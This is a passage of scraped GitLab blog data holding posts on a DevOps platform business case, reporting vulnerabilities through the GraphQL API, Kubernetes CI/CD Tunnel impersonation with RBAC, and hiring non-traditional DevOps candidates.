[{\"@type\":\"Person\",\"name\":\"Lee Faus\"}],\n        \"datePublished\": \"2022-02-03\",\n      }",{"title":15516,"description":15517,"authors":15522,"heroImage":15518,"date":15504,"body":15523,"category":962,"tags":15524},[4536],"\n\n\n_This is the first in a three-part series._\n\nOver the past five years, I’ve spent a lot of time with executives having them question me about how other companies and their competitors are navigating [DevSecOps](https://about.gitlab.com/blog/gitlab-is-setting-standard-for-devsecops/). This series shares how to introduce a DevOps platform into your organization to support DevSecOps.\n\n## Realizing the need for DevOps\n\nWhen I was at GitHub, I had a partner at Accenture who provided me with a great definition of DevOps that I still use today: “It is the combination of agility, collaboration, and automation that drives DevOps.” This struck a chord with me because at the time execs were “promoting” DevOps with Jira, GitHub, and Jenkins. They just needed to form a DevOps team to manage these products and provide the integration between them. Then they could mark DevOps off their KPIs for the next year and move on to the next set of challenges.\n\nUnfortunately, this only created more challenges. Tying these products together required a significant amount of work and the people in charge of this integration were usually operations folks or consultants who were more familiar with business continuity plans, standard operating procedures, high availability, and disaster recovery than writing custom code to provide a better experience for users.\n\nThey needed functionality that would capture metrics for team leads, managers, and executives so they could understand how the platform being built was driving customer adoption, increasing revenue or reducing costs. But capturing metrics meant engineering work that led to internal dogfooding. Also, people new to the field of platform engineering were not happy with the solutions they were presented with.\n\nThe entire process led to new evaluations of different products and additional stakeholders. We started managing infrastructure as code, testing tools, security, and deployment tools as part of this solution. We were no longer just building integrations, we were building a developer platform or what most of the executives I talked to called a “Developer Self-Service Platform.”\n\n## The cost of disparate DevOps tools \n\nThe executives I talk to now know this story as they were probably in charge of building this platform five years ago and have since been promoted to own more than just the tooling: Today they’re in charge of site reliability, cloud adoption, or platform engineering. Their teams have anywhere from 10 to 50 different tools, each with their own unique use case. The challenge now is to leverage these tools in a way that they were never intended to be used.  \n\nExecutives need data and analytics to optimize their business. This means collecting the data from all of the tools in a meaningful way where they can build analytical models for them to budget, plan, and report on the state of the business. I know of five Fortune 100 companies that have been on this path for more than three years and are still waiting to provide the first dashboard to their executive teams.\n\nThese companies have easily invested “eight figure” budgets to account for the people, process, culture, and tooling changes required to try and make this work. The total cost of ownership could total more than $10 million when you look at the department's profit and loss statements. The return on investment would take over five years *if* the team is able to generate or reduce costs by an additional $5 million a year in new revenue with a fully integrated platform that is live today. \n\nUnfortunately, people realize quickly that just extracting the data from the tools is not enough. There is context in the conversations that drives real-time decisions and those nuances often don’t make it into the analytical stores. The end result can be knee-jerk business decisions that can be detrimental to the business for years to come.\n\n## Understanding DevOps platform requirements\n\nLet’s begin with a simple question: Do you have requirements for this platform? You are about to embark on building an internal platform for your company. You want to leverage your intellectual capital and experience to drive innovation and create efficiencies that allow you to more effectively run your business for years to come.\n\nIf you don’t have requirements, you should start with a [value stream assessment](/handbook/customer-success/solutions-architects/sa-practices/value-stream-assessments/) to create them. This value stream assessment looks at your lines of business, the processes used to create artifacts, and the time it takes to get those artifacts to a place where they can be used to generate revenue, retain existing customers, or generate business efficiencies.\n\nOnce you have these metrics, measure the time from initial sourcing of the need to the number of people required to touch the artifact and ensure the quality and security of it as it moves across different environments. Divide that result by the time it takes to go from initial change to a production environment.\n\nThe more touchpoints in this process, the more costs will increase and so will the risk of software supply chain issues. Think of this like an assembly line: The hand-offs between touchpoints will require you to implement quality frameworks like [supply chain levels for software artifacts](https://slsa.dev/) to ensure chain of custody for audit and compliance needs. These challenges just keep getting bigger as you try to add additional tools to this platform.\n\nIs it possible to meet all of your requirements with a single product? Try GitLab to see what requirements we can help you meet. The only way to start capturing ROI is to stop building *your* platform today. If you don’t stop building it, you are still capturing costs and every tool you add chips away at the economies of scale. You can think of every new product as one input and one output. This means to go from four tools to five tools you are adding an additional 100 connections to be integrated together. It takes engineering time to properly integrate a product into the overall software supply chain instead of consuming the capabilities as a platform-enabled service that you can use out of the box to meet your requirements. \n\nIf you are interested in learning more about doing a value stream assessment – or if you have done one and looking for ways to build efficiencies inside your organization – please let me know and we can work together to help make the best choice for your organization, even if it means continuing with a platform you already started building.\n\n_In the next part of this series, we will look at how different vendors define the term “platform” and their motivation behind helping you achieve your requirements._\n",[4103],{"slug":15526,"featured":6,"template":678},"the-devops-platform-series-building-a-business-case","content:en-us:blog:the-devops-platform-series-building-a-business-case.yml","The Devops Platform Series Building A Business Case","en-us/blog/the-devops-platform-series-building-a-business-case.yml","en-us/blog/the-devops-platform-series-building-a-business-case",{"_path":15532,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15533,"content":15539,"config":15544,"_id":15546,"_type":16,"title":15547,"_source":17,"_file":15548,"_stem":15549,"_extension":20},"/en-us/blog/graphql-vulnerability-api",{"title":15534,"description":15535,"ogTitle":15534,"ogDescription":15535,"noIndex":6,"ogImage":15536,"ogUrl":15537,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15537,"schema":15538},"Using the GitLab GraphQL API for vulnerability reporting","Follow along as we teach you how to use GitLab GraphQL API to manage vulnerabilities programatically.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682219/Blog/Hero%20Images/jeremy-bishop-FzrlPh20l7Q-unsplash.jpg","https://about.gitlab.com/blog/graphql-vulnerability-api","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using the GitLab GraphQL API for vulnerability reporting\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-02-02\",\n      }",{"title":15534,"description":15535,"authors":15540,"heroImage":15536,"date":15541,"body":15542,"category":674,"tags":15543},[1622],"2022-02-02","\n\nAs part of GitLab Ultimate, you have access to the Vulnerability Report,\nwhich provides information about vulnerabilities from scans of the default\nbranch. It is available for projects, groups, and the Security Center.\nFrom the Vulnerability Report you can:\n\n- filter the list of vulnerabilities\n- view more details about a vulnerability\n- view vulnerable source location (if available)\n- view an issue raised for a vulnerability\n- change the status of vulnerabilities\n- export details of vulnerabilities\n\nYou also get to perform functions (create/read/update/delete) on vulnerabilities using the GitLab GraphQL API.\n\nIn this blog post, I'll go over some of the GitLab GraphQL API and show how\nvulnerabilities can be managed with the API. Then I'll go over how to create a\ncustom page where a user can report a vulnerability.\n\n## GitLab GraphQL API\n\nGraphQL is a query language for APIs that allows clients to request exactly\nthe data they need, making it possible to get all required data in a limited\nnumber of requests.\n\nWith the GitLab GraphQL API, you can perform many different functions on\nvulnerabilities which can be seen in the Vulnerability Reports. You can\nperform queries for data retrieval or mutations for creating, updating,\nand deleting data. \n\nThere are many other functions that can be performed on vulnerabilities using the\nGraphQL API, such as querying for vulnerability data, changing a vulnerability's\nstatus, and much more. You can see the rest of the GraphQL API functions by viewing\nthe graphql [reference page](https://docs.gitlab.com/ee/api/graphql/reference/).\n\n## Running a GraphQL query to create a vulnerability\n\nYou can run GraphQL queries in a curl request on the command line on your local\ncomputer. A GraphQL request can be made as a POST request to `/api/graphql` with\nthe query as the payload. You can authorize your request by generating a\npersonal access token to use as a bearer token.\n\nWe will be using [Mutation.vulnerabilityCreate](https://docs.gitlab.com/ee/api/graphql/reference/#mutationvulnerabilitycreate)\nin order to create a vulnerability.\n\n**1.** Create a new project or use an existing project.\n\n**2.** Create a [Personal Access Token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token).\n\n**Note:** Make sure it is `api` scoped.  \n\n**3.** Set the Personal Access Token in the environment variables.\n\n    ```\n    $ export ACCESS_TOKEN=\u003Cyour-personal-access-token>\n    ```\n\n**4.** Get your Project ID to use in the curl request.\n\n**Note:** Project ID can be found in your project page  \n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/show_projectid.png)  \n\n**5.** Send a curl request to graphql api.\n\n    ```\n    $ curl -g --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Content-Type: application/json\" --request POST --data '{\"query\": \"mutation { vulnerabilityCreate(input: {clientMutationId: \\\"Ferns-Vuln-Reporter-Xtreme\\\", name: \\\"YEETTT\\\", project: \\\"gid://gitlab/Project/30857578\\\", description: \\\"ax\\\", scanner: {name: \\\"dude-scanner2\\\", id: \\\"123456\\\", url: \\\"localhost\\\", version: \\\"1.0\\\"}, identifiers: [{name: \\\"dont worry about its ok\\\", url: \\\"localhost\\\"}]}) { clientMutationId \\n vulnerability {  id  } \\n errors } }\" }' https://gitlab.com/api/graphql\n\n    {\"data\":{\"vulnerabilityCreate\":{\"clientMutationId\":\"Ferns-Vuln-Reporter-Xtreme\",\"vulnerability\":{\"id\":\"gid://gitlab/Vulnerability/29086674\"},\"errors\":[]}}}\n    ```\n\nYou can see that the resonse will provide some data. Let's save the provided vulnerability\nid, 29086674.  \n\n**Note:** You can see where I used the Project ID in the query above,\nby searching for \"30857578\". Also feel free to customize the strings in\nthe request.  \n\n**6.** Go to your project and click on the `Security & Compliance > Vulnerability Report`.\n\n**7.** Replace `vulnerability_report` in the url with `/vulnerabilities/29086674`, and you should\nsee detailed information on the vulnerability you submitted.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/vuln_saved.png)  \n\n## Creating a Vulnerability Report site\n\nNow let's put what we learned about the Vulnerability API into creating an application\nwe can use for others to report vulnerabilities.\n\nI created a basic application that uses the GraphQL API to create vulnerabilities for\na given project. It's a little GoLang web-application that deploys to Kubernetes and\ncontains a basic web-form.\n\n**Note:** To continue with this section, you need a Kubernetes Cluster, GitLab Account, and\nknowledge of the GitLab [Kubernetes-Agent](https://docs.gitlab.com/ee/user/clusters/agent/).\n\n**1.** Create a [Personal Access Token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token).\n\n**Note:** Make sure it is `api` scoped.  \n\n**2.** Create a new project and select import.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/import_project.png)  \n\n**3.** Import the [Vuln-Reporter](https://gitlab.com/tech-marketing/devsecops/vuln-reporter).\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/repo_url.png)  \n\n**4.** Connect to a Kubernetes Cluster using the [Kubernetes-Agent](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html).\n\n**5.** Add the [Ingress Controller](https://docs.gitlab.com/ee/user/infrastructure/clusters/manage/management_project_applications/ingress.html) as a [Cluster Management Application](https://docs.gitlab.com/ee/user/clusters/management_project_template.html).\n\n**Note:** Once the Kubernetes Agent is installed, this can be done by simply adding\nthe `applications` folder, `helmfile.yaml`, and `apply` job present in this [Infrastrucuture project](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure).\n\n**6.** Add the following variables under `Settings > CICD > Variables`:\n\n    - PROJECT_ID: The id of the project you want to report on.\n    - ACCESS_TOKEN: Your personal access token created earlier.\n\n**7.** Run the pipeline.\n\n**8.** Connect to Kubernetes Cluster and find the Load Balancer IP.\n\n    ```\n    $ kubectl get svc -n gitlab-managed-apps | grep ingress\n\n    ingress-ingress-nginx-controller             LoadBalancer   10.28.13.2    104.198.204.142   80:31853/TCP,443:31835/TCP   19d\n    ingress-ingress-nginx-controller-admission   ClusterIP      10.28.6.20    \u003Cnone>            443/TCP                      19d\n    ```\n\n**Note:** It's the `104.198.204.142` address, but it may be different for you. Just make sure it's\nan external address.  \n\n**9.** Go to `http://\u003CLoad-Balancer-IP>/reporter` in your browser.\n\n**10.** Add info and submit a Vulnerability.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/submit_vuln.png)  \n\nAfter submitting you should get a link. Copy that link\ninto your browser.\n\n\n**11.** View the Vulnerability Report.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/vuln_report.png)\n\n",[4103,674,942],{"slug":15545,"featured":6,"template":678},"graphql-vulnerability-api","content:en-us:blog:graphql-vulnerability-api.yml","Graphql Vulnerability Api","en-us/blog/graphql-vulnerability-api.yml","en-us/blog/graphql-vulnerability-api",{"_path":15551,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15552,"content":15558,"config":15564,"_id":15566,"_type":16,"title":15567,"_source":17,"_file":15568,"_stem":15569,"_extension":20},"/en-us/blog/cicd-tunnel-impersonation",{"title":15553,"description":15554,"ogTitle":15553,"ogDescription":15554,"noIndex":6,"ogImage":15555,"ogUrl":15556,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15556,"schema":15557},"Fine-grained permissions with impersonation in CI/CD tunnel","Learn how to use use fine-grained permissions via generic impersonation in CI/CD Tunnel","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667435/Blog/Hero%20Images/tunnel.jpg","https://about.gitlab.com/blog/cicd-tunnel-impersonation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use fine-grained permissions via generic impersonation in CI/CD Tunnel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2022-02-01\",\n      }",{"title":15559,"description":15554,"authors":15560,"heroImage":15555,"date":15561,"body":15562,"category":734,"tags":15563},"How to use fine-grained permissions via generic impersonation in CI/CD Tunnel",[937],"2022-02-01","\nThe [CI/CD Tunnel](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_workflow.html), which leverages the [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/), enables users to access Kubernetes clusters from GitLab CI/CD jobs. In this blog post, we review how you can securely access your clusters from your CI/CD pipelines by using generic impersonation. In addition, we will briefly cover the activity list of the GitLab Agent for Kubernetes, a capability recently introduced by GitLab, that can help you detect and troubleshoot faulty events.\n\n## Using impersonation with your CI/CD tunnel\n\nThe CI/CD Tunnel leverages the GitLab Agent for Kubernetes, which permits the secure connectivity between GitLab and your Kubernetes cluster without the need to expose your cluster to the internet and outside your firewall. The CI/CD Tunnel allows you to connect to your Kubernetes cluster from your CI/CD jobs/pipelines.\n\nBy default, the CI/CD Tunnel inherits all the permissions from the service account used to install the Agent in the cluster. However, fine-grained permissions can be used in conjunction with the CI/CD Tunnel to restrict and manage access to your cluster resources.\n\nFine-grained permissions control with the CI/CD tunnel via impersonation:\n\n- Allows you to leverage your K8s authorization capabilities to limit the permissions of what can be done with the CI/CD tunnel on your running cluster\n\n- Lowers the risk of providing unlimited access to your K8s cluster with the CI/CD tunnel\n\n- Segments fine-grained permissions with the CI/CD tunnel at the project or group level\n\n- Controls permissions with the CI/CD tunnel at the username or service account\n\nTo restrict access to your cluster, you can use impersonation. To specify impersonations, use the access_as attribute in your Agent's configuration file and use Kubernetes RBAC rules to manage impersonated account permissions.\n\nYou can impersonate:\n- The Agent itself (default)\n= The CI job that accesses the cluster\n- A specific user or system account defined within the cluster\n\n## Steps to exercise impersonation with the CI/CD Tunnel\n\nLet's go through the steps on how you can exercise impersonation with the CI/CD Tunnel.\n\n### Creating your Kubernetes cluster\n\nIn order to exercise the capabilities described above, we need a Kubernetes cluster. Although, you can use any Kubernetes distribution, for this example, we create a GKE Standard Kubernetes cluster and name it \"csaavedra-ga4k-cluster\". We select the zone and version 1.21 of Kubernetes and ensure that our cluster will have three nodes. We leave the security and metadata screens with their defaulted values and click on the create button:\n\n![Creating a GKE cluster](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/0-gke-creation.png){: .shadow.medium.center.wrap-text}\nCreating a GKE cluster\n{: .note.text-center}\n\n### Sample projects to be used\n\nLet's proceed now to this [top-level group](https://gitlab.com/tech-marketing/sandbox/gl-14-5-cs-demos), which contains three projects, which we will use to show impersonation with the CI/CD tunnel. You can do this at the project or group level. In this example, we will show setting impersonation at the project level:\n\n![Project structure in GitLab](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/1-project-struct.png){: .shadow.medium.center.wrap-text}\nProject structure in GitLab\n{: .note.text-center}\n\nProject \"ga4k\" will configure the GitLab Agent for Kubernetes and also set impersonations with the CI/CD tunnel. Project \"sample-application\" will use the CI/CD tunnel, managed by the agent, to connect to the Kubernetes cluster and execute a pipeline using different impersonations. Project \"cluster-management\" will also use the CI/CD tunnel to connect to the cluster and install the Ingress application on it.\n\nNot only does the CI/CD tunnel streamline the deployment, management, and monitoring of Kubernetes-native applications, but it also does it securely and safely by using impersonations that leverage your Kubernetes cluster's RBAC rules.\n\nProject \"ga4k\" contains and manages the configuration for the GitLab Agent for K8s called \"csaavedra-agentk\". Looking at its \"config.yaml\" file, we see that the agent points to itself for manifest projects, but most importantly, it provides CI/CD tunnel access to two projects: \"sample-application\" and \"cluster-management\". This means that these two projects' CI/CD pipelines will have access to the K8s cluster that the agent is securely connected to:\n\n![The GitLab Agent for K8s configuration](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/2-agent-config.png){: .shadow.medium.center.wrap-text}\nThe GitLab Agent for K8s configuration\n{: .note.text-center}\n\nProject \"sample-application\" has a pipeline, which we will later execute under different impersonations. And project \"cluster-management\" has a pipeline that will install only the Ingress application on the Kubernetes cluster, as configured in its helmfile.yaml file:\n\n![Deployable applications in cluster-management project](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/3-cluster-mgmt-helmfile.png){: .shadow.medium.center.wrap-text}\nDeployable applications in cluster-management project\n{: .note.text-center}\n\n### Connecting the Agent to your Kubernetes cluster\n\nLet's head back to project \"ga4k\" and connect to the Kubernetes cluster via the agent. We select agent \"csaavedra-agentk\" to register with GitLab:\n\n![List of defined agents](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/4-agents-popdown.png){: .shadow.medium.center.wrap-text}\nList of defined agents\n{: .note.text-center}\n\nThis step generates a token that we can use to install the agent on the cluster. We copy the Docker command to our local desktop for later use. Notice that the command includes the generated token, which you can also copy:\n\n![Docker command to deploy agent to your K8s cluster](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/5-docker-cmd.png){: .shadow.medium.center.wrap-text}\nDocker command to deploy agent to your K8s cluster\n{: .note.text-center}\n\nFrom a local command window, we ensure that our connectivity parameters to GCP are correct:\n\n![Checking your GCP connectivity parameters](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/6-gcp-connectivity.png){: .shadow.medium.center.wrap-text}\nChecking your GCP connectivity parameters\n{: .note.text-center}\n\nWe then add the credentials to our kubeconfig file to connect to our newly created Kubernetes cluster \"csaavedra-ga4k-cluster\" and verify that our context is set to it:\n\n![Adding your cluster credentials to your kubeconfig](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/7-adding-creds.png){: .shadow.medium.center.wrap-text}\nAdding the credentials of your cluster to your kubeconfig\n{: .note.text-center}\n\nOnce this is done, we can list all the pods that are up and running on the cluster by entering `kubectl get pods –all-namespaces`:\n\n![Listing the pods in your running cluster](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/8-listing-pods.png){: .shadow.medium.center.wrap-text}\nListing the pods in your running cluster\n{: .note.text-center}\n\nFinally, we paste the docker command that will install the GitLab Agent for Kubernetes to this cluster making sure that its namespace is \"ga4k-agent\":\n\n![Deploying the agent to your K8s cluster](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/9-pasted-docker-cmd.png){: .shadow.medium.center.wrap-text}\nDeploying the agent to your K8s cluster\n{: .note.text-center}\n\nWe list the pods one more time to check that the agent pod is up and running on the cluster:\n\n![Agent up and running on your K8s cluster](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/10-agent-up.png){: .shadow.medium.center.wrap-text}\nAgent up and running on your K8s cluster\n{: .note.text-center}\n\nThe screen will refresh and show our Kubernetes cluster connected via the agent:\n\n![Agent connected to your K8s cluster](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/11-agent-connected.png){: .shadow.large.center.wrap-text}\nAgent connected to your K8s cluster\n{: .note.text-center}\n\n### The Agent's Activity Information page\n\nClicking on the agent name takes us to the Agent's Activity Information page, which lists agent events in real time. This information can help monitor your cluster's activity and detect and troubleshoot faulty events from your cluster. Connection and token information is currently listed with more events coming in future releases:\n\n![Agent activity information page](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/12-agent-activity.png){: .shadow.small.center.wrap-text}\nAgent activity information page\n{: .note.text-center}\n\n### Deploying Ingress to your Kubernetes cluster using default impersonation\n\nBy default, the CI/CD Tunnel inherits all the permissions from the service account used to install the agent in the cluster. Per the agent's configuration, the CI/CD pipelines of the \"cluster-management\" project will have access to the K8s cluster that the agent is securely connected to. Let's leverage this connectivity to deploy the Ingress application to the Kubernetes cluster from project \"cluster-management\". Let's make a small update to the project pipeline to launch it. Once the pipeline launches, we navigate to its detail view to track its completion:\n\n![Project \"cluster-management\" pipeline completed](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/13-cluster-mgmt-pipeline.png){: .shadow.small.center.wrap-text}\nProject \"cluster-management\" pipeline completed\n{: .note.text-center}\n\nand check the log of its **apply** job to verify that it was able to switch to the agent's context and successfully ran all the installation steps:\n\n![Ingress deployed to your cluster via CI/CD Tunnel using default impersonation](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/14-apply-job-log.png){: .shadow.medium.center.wrap-text}\nIngress deployed to your cluster via CI/CD Tunnel using default impersonation\n{: .note.text-center}\n\nFor further verification, we list the pods in the cluster and check that the ingress pods are up and running:\n\n![Ingress pods up and running](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/15-ingress-pods-up.png){: .shadow.medium.center.wrap-text}\nIngress pods up and running on your cluster\n{: .note.text-center}\n\n### Start trailing the agent's log file to watch updates\n\nBefore we start the impersonation use cases, let's start trailing the agent's log file from a command window:\n\n![Trailing agent log from the command line](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/16-trail-agent-log.png){: .shadow.medium.center.wrap-text}\nTrailing agent log from the command line\n{: .note.text-center}\n\nAnd also let's increase its logging to debug:\n\n![Increasing the agent log level to debug](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/17-agent-logging-level.png){: .shadow.medium.center.wrap-text}\nIncreasing the agent log level to debug\n{: .note.text-center}\n\n### Running impersonation using access_as:ci_job\n\nLet's now impersonate the CI job that accesses the cluster. For this, we modify the agent's configuration and add the \"access_as\" attribute with the \"ci_job\" tag under it:\n\n![Impersonating the CI job](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/18-ci-job-impersonation.png){: .shadow.medium.center.wrap-text}\nImpersonating the CI job\n{: .note.text-center}\n\nAs we save the updated configuration, we verify in the log output that the update has taken place in the running agent:\n\n![Agent updated with CI job impersonation](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/19-agent-conf-updated.png){: .shadow.large.center.wrap-text}\nAgent updated with CI job impersonation\n{: .note.text-center}\n\nNotice that the pipeline of the \"sample-application\" project has a test stage and a test job. It sets the variable KUBE_CONTEXT first, loads an image with the version of kubectl that matches the version of the K8s cluster, and executes two kubectl commands that access the remote cluster via the agent:\n\n![Project \"sample-application\" pipeline](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/20-sample-application-pipeline.png){: .shadow.medium.center.wrap-text}\nProject \"sample-application\" pipeline\n{: .note.text-center}\n\nWe manually execute the pipeline of the \"sample-application\" project and verify in the job log output that the context switch was successful and that the kubectl commands executed correctly:\n\n![Job log output with CI impersonation](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/21-ci-impersonation-job-log.png){: .shadow.medium.center.wrap-text}\nJob log output with CI impersonation\n{: .note.text-center}\n\n### Running impersonation using access_as:impersonate:username\n\nThe last use case is the impersonation of a specific user or system account defined within the cluster. I have pre-created a service account called \"jane\" on the Kubernetes cluster under the \"default\" namespace. And \"jane\" has been given the permission to do a \"get\", \"list\", and \"watch\" on the cluster pods as you can see by the output in the command window:\n\n![Jane user with permission to list pods](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/22-jane-and-perms.png){: .shadow.medium.center.wrap-text}\nJane user with permission to list pods\n{: .note.text-center}\n\nRemember that the service account \"gitlab-agent\" under namespace \"ga4k-agent\" was created earlier when we installed the agent by running the Docker command. In order for the agent to be able to impersonate another service account or user, it needs to have the permissions to do so. We do this by creating a clusterrole \"impersonate\" for impersonating users, groups, and service accounts, and then create a clusterrolebinding \"allowimpersonator\" to give these permissions for the \"default\" namespace to the agent \"gitlab-agent\" in the \"ga4k-agent\" namespace:\n\n![Giving impersonation permission to agent](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/23-clusterrole-perm-to-agent.png){: .shadow.large.center.wrap-text}\nGiving impersonation permission to agent\n{: .note.text-center}\n\nWe then edit the agent's configuration and add the \"impersonate\" attribute and provide the service account for \"jane\" as the parameter for the \"username\" tag:\n\n![Impersonating a specific user](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/24-user-impersonation.png){: .shadow.medium.center.wrap-text}\nImpersonating a specific user called jane\n{: .note.text-center}\n\nAs we commit the changes, we check the log output to verify that the update has taken place in the running agent:\n\n![Agent updated with user impersonation](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/25-agent-conf-updated.png){: .shadow.large.center.wrap-text}\nAgent updated with user impersonation\n{: .note.text-center}\n\nSince we know that \"jane\" has the permission to list the running pods in the cluster, let's head to the project \"sample-application\" pipeline and add the command \"kubectl get pods –all-namespaces\" to it:\n\n![Adding get pods command that jane is allowed to run](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/26-adding-get-pods-cmd.png){: .shadow.medium.center.wrap-text}\nAdding get pods command that jane is allowed to run\n{: .note.text-center}\n\nWe commit the update and head over to the running pipeline and drill into the \"test\" job log output to see that the context switch was successful and that the kubectl commands executed correctly, including the listing of the running pods in the cluster:\n\n![Job output for pipeline impersonation jane](https://about.gitlab.com/images/blogimages/cicd-tunnel-impersonate/27-user-impersonation-job-log.png){: .shadow.medium.center.wrap-text}\nJob output for pipeline impersonation jane\n{: .note.text-center}\n\n## Conclusion\n\nIn this blog post, we reviewed how you can securely access your Kubernetes clusters from your CI/CD pipelines by using generic impersonation.  In addition, we showed the activity list of the GitLab Agent for Kubernetes, which can help you detect and troubleshoot faulty events from your cluster.\n\nTo see these capabilities in action, check out the following video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/j8SJuHd7Zsw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by Jakob Søby on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[774,1384,1385,2509],{"slug":15565,"featured":6,"template":678},"cicd-tunnel-impersonation","content:en-us:blog:cicd-tunnel-impersonation.yml","Cicd Tunnel Impersonation","en-us/blog/cicd-tunnel-impersonation.yml","en-us/blog/cicd-tunnel-impersonation",{"_path":15571,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15572,"content":15577,"config":15581,"_id":15583,"_type":16,"title":15584,"_source":17,"_file":15585,"_stem":15586,"_extension":20},"/en-us/blog/hiring-in-the-deep-end-of-the-talent-pool",{"title":15573,"description":15574,"ogTitle":15573,"ogDescription":15574,"noIndex":6,"ogImage":12608,"ogUrl":15575,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15575,"schema":15576},"DevOps hiring from the deep end of the talent pool","Time to broaden your search beyond four-year tech degrees to candidates with life experience, self-taught/bootcamp chops, and soft skills.","https://about.gitlab.com/blog/hiring-in-the-deep-end-of-the-talent-pool","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps hiring from the deep end of the talent pool\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"PJ Metz\"}],\n        \"datePublished\": \"2022-02-01\",\n      }",{"title":15573,"description":15574,"authors":15578,"heroImage":12608,"date":15561,"body":15579,"category":7715,"tags":15580},[12593],"\n\nWhen it comes to DevOps hiring, many companies have only waded into the shallow end of the pool to find talent. They’ve relied on a steady stream of university graduates rather than being a little more creative in their search and realizing that many DevOps professionals are created outside of traditional four-year institutions. So let’s explore the DevOps hiring opportunities that await in the deep end of the talent pool. \n\n## Non-traditional paths\n\nWhile four-year degrees are wonderful – the dream of a college education should be available to all who want it – the reality is there are a variety of barriers to attending college. For instance, many people don’t realize the opportunity within tech until later in their life, after they’ve already earned a different degree or have been working for several years in a different field. To get their DevOps skills, they pursue an alternative route such as bootcamps or teaching themselves. In fact, non collegiate paths are increasingly common; according to a report by Hired, 45% of software engineers have a computer science degree, but 24% are self-taught, and another 10% learned how to code through a bootcamp program.\n\n### DevOps bootcamps\n\nBootcamps offer rigorous and thorough training on a very specific set of tech-related skills such as full-stack web development, data science, and UX/UI design. These virtual or in-person programs are full-time or part-time, and there are many bootcamps available all over the world. Bootcamps are appealing because of their affordable cost and shorter time investment, compared to earning a four-year degree.\n\nOrganizations aiming to train their engineering teams like bootcamps because they can focus exclusively on skills needed for the job, modern frameworks and languages, and real-world applications, making their graduates well-versed in building today’s apps. \n\n### Self-taught DevOps\n\nDevelopers often learn to code while working in another career. Former educators, EMTs, and office managers everywhere are dedicating time outside of their professions to learning to write code and build apps.\n\nSelf-taught developers are an asset to a company because they have the discipline to learn tough concepts on their own and find ways to apply them. This is something that many other avenues of learning don’t offer. Because they had to find their own way, self-taught developers often have unique perspectives and the ability to problem-solve that are valuable to teams at all levels of tech. \n\nDevOps is a unique career in that proving what you know is incredibly important. So when it's time for DevOps hiring, don’t exclude these other paths. Where someone learned isn’t as important as what they learned — or what they can build. So when you’re hiring, or creating a bot that chooses which resumes and applications to move forward with, make sure you’re not [getting rid of qualified candidates](https://www.forbes.com/sites/jackkelly/2021/09/07/harvard-business-school-study-says-software-overlooks-millions-of-qualified-job-candidates-heres-how-to-fight-back-against-the-bots/?sh=5a0f1ff813d3). \n\n## Why non-traditional?\n\nWorkers with non-tech backgrounds bring a lot to the table that should be considered along with their skill sets.\n\n### Diversify the knowledge\n\nPeople who choose non-traditional routes to tech are often people who have already been working at a professional level in another career. When you hire someone who took a different path to 